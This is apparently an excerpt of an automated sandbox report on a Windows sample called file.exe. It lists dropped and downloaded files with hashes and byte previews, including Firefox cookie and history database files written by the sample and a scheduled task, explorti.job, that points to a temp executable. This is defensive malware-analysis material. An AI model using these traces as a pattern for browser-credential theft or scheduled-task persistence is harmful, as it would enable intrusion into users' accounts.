Preview:	L..................F.@.. ...$+.,......Z.O...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............+.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jul 4 19:21:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.997716604583577
Encrypted:	false
SSDEEP:	48:8mdGTiSCHpidAKZdA1weh/iZUkAQkqehJy+2:8fj29QYy
MD5:	A6F563094A147CA4800D9886A384BF8F
SHA1:	58869CFB7943E738EE3C2E361C3CDD56131B0423
SHA-256:	9F7FC7A3C736CF85449BAE3186DA8D209B5ADA7073B99F44F7E4AAF0F0571E94
SHA-512:	913FFFD82E4D9668D1B33B317F0B26F1E90E6B19067ABE82922111BBCF15AD66F42B2525C5C30A8C1F2ABDFF739C6FDCCF6A09905096DE68914F51D0568D5BAA
Malicious:	false
Preview:	L..................F.@.. ...$+.,...../J.O...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............+.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.008624538271796
Encrypted:	false
SSDEEP:	48:8xbdGTiSsHpidAKZdA14tseh7sFiZUkmgqeh7sfy+BX:8xAjEnFy
MD5:	A0C3289C8BFC34A828B74ED687BAB8CB
SHA1:	A1A70823FE6CC45F09AB009E507EA5629ED0C960
SHA-256:	BE542594C2A1E63BF5236F176A36FDEB16D5133BF4E71FD6F3F00034C0E122C6
SHA-512:	CE51079B4A63E96E0DD33F195EC32BDD24333CE96543D369E7D11399661FFA81094C9E30DEA4859B260FEE50CFBC9D1205862DF21FC9D2A7394551C690EEBDB2
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............+.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jul 4 19:21:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9939439930074383
Encrypted:	false
SSDEEP:	48:8qdGTiSCHpidAKZdA1vehDiZUkwqehty+R:8zjdHy
MD5:	5B68663D1C9E5C6F61E62ECBC24E8A37
SHA1:	C6151D7B669128BB319C43548103A88C70027B95
SHA-256:	FE3D67FA0C2E4557019C073EE8E84EA4A68A66A0A85FC1F8EDCBEA303C43EC6F
SHA-512:	16684018A791B5C8294223C070C9B6AD0A0B29F7A667F0C6C103BF3ECD7EC0646415D3AFAD81ED46B6CDB07C5E3D84BC4D23B03AB356EF948C375E265323FAF3
Malicious:	false
Preview:	L..................F.@.. ...$+.,....7gA.O...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............+.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jul 4 19:21:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.985474114704138
Encrypted:	false
SSDEEP:	48:8YdGTiSCHpidAKZdA1hehBiZUk1W1qeh7y+C:81j99by
MD5:	C23E3473D67599207439953A9BD26D54
SHA1:	A273224FA91FAFC2152898F9198BD7AB67E2A650
SHA-256:	25CD9E28651168B505E0B99E358B246E90D3472444DFD3CB69BA87A7DA48BFA6
SHA-512:	6DFCC551B61D5F5B7C29659A9F0860CFE6B88340D23D4E0F067962E1D4D1306C412C890392C48F5EDC33851CF3CE28B156984B11F4FAEDFEE60B2627C65780B9
Malicious:	false
Preview:	L..................F.@.. ...$+.,....^.S.O...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............+.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jul 4 19:21:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9958747562390564
Encrypted:	false
SSDEEP:	48:8mdGTiSCHpidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbFy+yT+:8fjBT/TbxWOvTbFy7T
MD5:	1A3EAE95BF891AF12134ECF5306E0992
SHA1:	AF1F7C4A1E1CDA630BDCB52DCA81E568F0848FC5
SHA-256:	D7696B29E788E9F71E51833A75E80E1981DB82EADBE6EA504F68C584F1263B0D
SHA-512:	3023AF4690F0BFBFBC478611939843241D726B549C9442023FB233B25A7042C2F5B79B550D699AFDC50C003E22F82EB92CA1B6BC690A3EB36516DB3F08548B4F
Malicious:	false
Preview:	L..................F.@.. ...$+.,......7.O...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............+.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe
File Type:	data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	3.456144806864756
Encrypted:	false
SSDEEP:	6:nSPIgBDPXUG5ZsUEZ+lX1QYShMl6lm6tFXqYEp5t/uy0l1r4t0:8VBDvYQ13vgxfXV1r4t0
MD5:	4A741378C27983CC2F75D91B8BCC42F4
SHA1:	43DBEDC30621C6E39F500E6173D86A78978D17DD
SHA-256:	A3E7A1E147C9865FB9453B0BDF894821E735307A676DA734CE24386368B6813B
SHA-512:	054967D710B3DDBFCAFEDBAF4B0A4FC83A09CC2CE1536B870F246D10CA159A47AEC9659A632C1161AFA60280D183E822B54FC5753E73B4B23E308E3AD2E05FEA
Malicious:	false
Preview:	....9..*..WH...y.N.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.d.4.0.9.7.1.b.6.b.\.e.x.p.l.o.r.t.i...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.418969083766136
Encrypted:	false
SSDEEP:	6144:2Svfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNd0uhiTw:VvloTMW+EZMM6DFyn03w
MD5:	37E8E42D34B1FF1F92B354FE5A463414
SHA1:	161D22BF34AF66F2DCC9CCEF648CC1A9CEAF790F
SHA-256:	17F155D38ECBEF079164E356BEA057E41097A2C861885B18670813BE0EB023F9
SHA-512:	AEEEE3B651D7AD3AF399EA2E01B8B2048B3D440DEBFEEDC92785806CF0006813E563D6F855877EF18337D9779A5C9247790EE4ABD37BAB0F6D49E11BE21884F2
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.8..O...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (405)
Category:	downloaded
Size (bytes):	1600
Entropy (8bit):	5.234706685474562
Encrypted:	false
SSDEEP:	48:o79bWW+d1xb0KeRV8YtQy0aqdHgxbaQ77DfTBpbrw:oAB6KOVddbqSnLzw
MD5:	777F1FD23230384A286E78C5ACD6AC33
SHA1:	CC33BAC75FDD7CE9AD535CBCEAD5C91D974DF975
SHA-256:	277C957E852CD541B5D6D50B9A1CC3E6E6120DC704B529AADDA0171367557D98
SHA-512:	F785634C17C38826894B2D0D4363C26110418A9160AB36ACDFF2E6B76A2E07D32DD1BDA3D2D0F4D9BE3254DB834EB808FEA392A95B224AB5B94B429E69EBD1F0
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.ZU1EFvXsC20.es5.O/ck=boq-identity.AccountsSignInUi.DDD9SPcAL2k.L.B1.O/am=HmAYCJ1zFADxnHPgA5QCIQMAAAAAAAAAgJYBMgM/d=1/exm=AvtSve,CMcBD,E87wgc,EFQ78c,EN3i8d,F6sNGb,Fndnac,I6YDgd,IZT63,K0PMbc,K1ZKnb,KUM7Z,L1AAkb,L9OGUe,LDQI,LEikZe,MpJwZc,NOeYWe,NTMZac,O6y8ed,PHUIyb,PrPYRd,RMhBfe,Rkm0ef,RqjULd,SCuOPb,SD8Jgb,STuCOe,SpsfSb,Tbb4sb,UUJqVe,Uas9Hd,YHI3We,YTxL4,YgOFye,ZakeSe,ZwDk9d,_b,_tp,aC1iue,aW3pY,b3kMqb,bSspM,bTi8wc,bm51tf,byfTOb,eVCnO,f8Gu1e,gJzDyc,hc6Ubd,inNHtf,lRrMHd,lsjVmc,ltDFwf,lwddkf,m9oV,mvkUhe,mzzZzc,n73qwf,njlZCf,oLggrd,pxq3x,qPYxq,qPfo0c,qmdT9,r1n9ec,rCcCxc,rmumx,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,vvMGie,ws9Tlc,xBaz7b,xQtZb,xiZRqc,yRXbo,ywOR5c,z0u0L,zbML3c,ziZ8Mc,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlEfiLuEnjxYrdf-rk4qPrRacOxopQ/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:F6sNGb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=w9hDv,VwDzFe,A7fCU"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("w9hDv");._.xf(_.mja);_.ew=function(a){_.J.call(this,a.Fa);this.aa=a.ab.cache};_.B(_.ew,_.J);_.ew.Na=_.J.Na;_.ew.Ba=function(){return{ab:{cache:_.mp}}};_.ew.prototype.execute=function(a){_.kb(a,function(b){var c;_.oe(b)&&(c=b.eb.Qb(b.jb));c&&this.aa.FD(c)},this);return{}};_.Pq(_.Hja,_.ew);._.l();._.k("VwDzFe");.var IE=function(a){_.J.call(this,a.Fa);this.aa=a.Da.Pj;this.ea=a.Da.metadata;this.da=a.Da.Zq};_.B(IE,_.J);IE.Na=_.J.Na;IE.Ba=function(){return{Da:{Pj:_.iE,metadata:_.FWa,Zq:_.fE}}};IE.prototype.execute=function(a){var b=this;a=this.da.create(a);return _.kb(a,function(c){var d=b.ea.getType(c.Hd())===2?b.aa.Vb(c):b.aa.aa(c);return _.Lj(c,_.jE)?d.then(function(e){return _.gd(e)}):d},this)};_.Pq(_.Mja,IE);._.l();._.k("sP4Vbe");._.EWa=new _.Ce(_.Ija);._.l();._.k("A7fCU");.var nE=function(a){_.J.call(this,a.Fa);this.aa=a.Da.lM};_.B(nE,_.J);nE.Na=_.J.Na;nE.Ba=function(){r

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (777)
Category:	downloaded
Size (bytes):	1481
Entropy (8bit):	5.316577802144649
Encrypted:	false
SSDEEP:	24:kMYD7xmEu0IvxqcNzoYcurO/qb99nyobhzWuNA+CkadpUGbX7MNa4VGbwCSF57M8:o7xmR0I5kc7b91xbf0dpUGbYNa4VGbwl
MD5:	FC2DC9D5B7292B603D399F3E3046665B
SHA1:	92D25D672FDDD209D97ED306541CE686B6FD51CE
SHA-256:	614049A345B7E332826D74B79163DF74EDDE93CA1A661EE468352D4E5F94574C
SHA-512:	7348DBAF2A5A1FC87E3017B9E504EF22A3EBA65EC6FD255DD127DB78384B56B80A101BE9101F5BADBA4717FBE460C6A8DBE07DBA5F918413BE36EF0D88716C50
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.ZU1EFvXsC20.es5.O/ck=boq-identity.AccountsSignInUi.DDD9SPcAL2k.L.B1.O/am=HmAYCJ1zFADxnHPgA5QCIQMAAAAAAAAAgJYBMgM/d=1/exm=AvtSve,CMcBD,E87wgc,EFQ78c,EN3i8d,F6sNGb,Fndnac,I6YDgd,IZT63,K0PMbc,K1ZKnb,KUM7Z,L1AAkb,L9OGUe,LDQI,LEikZe,MpJwZc,NOeYWe,NTMZac,O6y8ed,PHUIyb,PrPYRd,RMhBfe,Rkm0ef,RqjULd,SCuOPb,SD8Jgb,STuCOe,SpsfSb,Tbb4sb,UUJqVe,Uas9Hd,YHI3We,YTxL4,YgOFye,ZakeSe,ZwDk9d,_b,_tp,aC1iue,aW3pY,b3kMqb,bSspM,bTi8wc,byfTOb,eVCnO,f8Gu1e,gJzDyc,hc6Ubd,inNHtf,lRrMHd,lsjVmc,ltDFwf,lwddkf,m9oV,mvkUhe,mzzZzc,n73qwf,njlZCf,oLggrd,pxq3x,qPYxq,qPfo0c,qmdT9,r1n9ec,rCcCxc,rmumx,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,vvMGie,ws9Tlc,xBaz7b,xQtZb,xiZRqc,yRXbo,ywOR5c,z0u0L,zbML3c,ziZ8Mc,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlEfiLuEnjxYrdf-rk4qPrRacOxopQ/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:F6sNGb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=bm51tf"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("kMFpHd");._.FWa=new _.Ce(_.Kk);._.l();._.k("bm51tf");.var IWa=!!(_.$f[0]>>26&1);var KWa=function(a,b,c,d,e){this.ea=a;this.wa=b;this.ja=c;this.Ca=d;this.Ga=e;this.aa=0;this.da=JWa(this)},LWa=function(a){var b={};_.Ma(a.xO(),function(e){b[e]=!0});var c=a.jO(),d=a.pO();return new KWa(a.dL(),c.aa()1E3,a.NN(),d.aa()1E3,b)},JWa=function(a){return Math.random()Math.min(a.waMath.pow(a.ja,a.aa),a.Ca)},oE=function(a,b){return a.aa>=a.ea?!1:b!=null?!!a.Ga[b]:!0};var pE=function(a){_.J.call(this,a.Fa);this.Jc=null;this.ea=a.Da.sR;this.ja=a.Da.metadata;a=a.Da.Faa;this.da=a.ea.bind(a)};_.B(pE,_.J);pE.Na=_.J.Na;pE.Ba=function(){return{Da:{sR:_.GWa,metadata:_.FWa,Faa:_.zWa}}};pE.prototype.aa=function(a,b){if(this.ja.getType(a.Hd())!=1)return _.Vk(a);var c=this.ea.aa;return(c=c?LWa(c):null)&&oE(c)?_.Aua(a,MWa(this,a,b,c)):_.Vk(a)};.var MWa=function(a,b,c,d){return c.then(function(e)

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	5430
Entropy (8bit):	3.6534652184263736
Encrypted:	false
SSDEEP:	48:wIJct3xIAxG/7nvWDtZcdYLtX7B6QXL3aqG8Q:wIJct+A47v+rcqlBPG9B
MD5:	F3418A443E7D841097C714D69EC4BCB8
SHA1:	49263695F6B0CDD72F45CF1B775E660FDC36C606
SHA-256:	6DA5620880159634213E197FAFCA1DDE0272153BE3E4590818533FAB8D040770
SHA-512:	82D017C4B7EC8E0C46E8B75DA0CA6A52FD8BCE7FCF4E556CBDF16B49FC81BE9953FE7E25A05F63ECD41C7272E8BB0A9FD9AEDF0AC06CB6032330B096B3702563
Malicious:	false
URL:	https://www.google.com/favicon.ico
Preview:	............ .h...&... .... .........(....... ..... ............................................0...................................................................................................................................v.].X.:.X.:.r.Y........................................q.X.S.4.S.4.S.4.S.4.S.4.S.4...X....................0........q.W.S.4.X.:.................J...A...g.........................K.H.V.8..........................F..B.....................,.......................................B..............................................B..B..B..B..B...u..........................................B..B..B..B..B...{.................5.......k...........................................................7R..8F.................................................2........Vb..5C..;I..................R^.....................0................Xc..5C..5C..5C..5C..5C..5C..lv..........................................]i..<J..:G..Zf....................................................

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (574)
Category:	downloaded
Size (bytes):	3477
Entropy (8bit):	5.499342889552936
Encrypted:	false
SSDEEP:	96:oIByrBKfKVHcikUJFtlPMETAKv78pUCCjIw:INKS/vP3hv7mUbZ
MD5:	E18219F32F2747C14548BCFEE58B13CD
SHA1:	85307A7D3376A623245EB21D245B8BC4FA481908
SHA-256:	6479CFCD0C8840DD31DA0C55F596BDA37C28074517B5F063F5A5830EC27D0280
SHA-512:	EFE83897B3C1EE154EA3C14B3FFB4C242C065303F3F5A3DFA3E6E26C154B44509FE8E580D2402553CCDFABACEDD3F000FAC9171E861BBF22E6D56C5A6355CF47
Malicious:	false
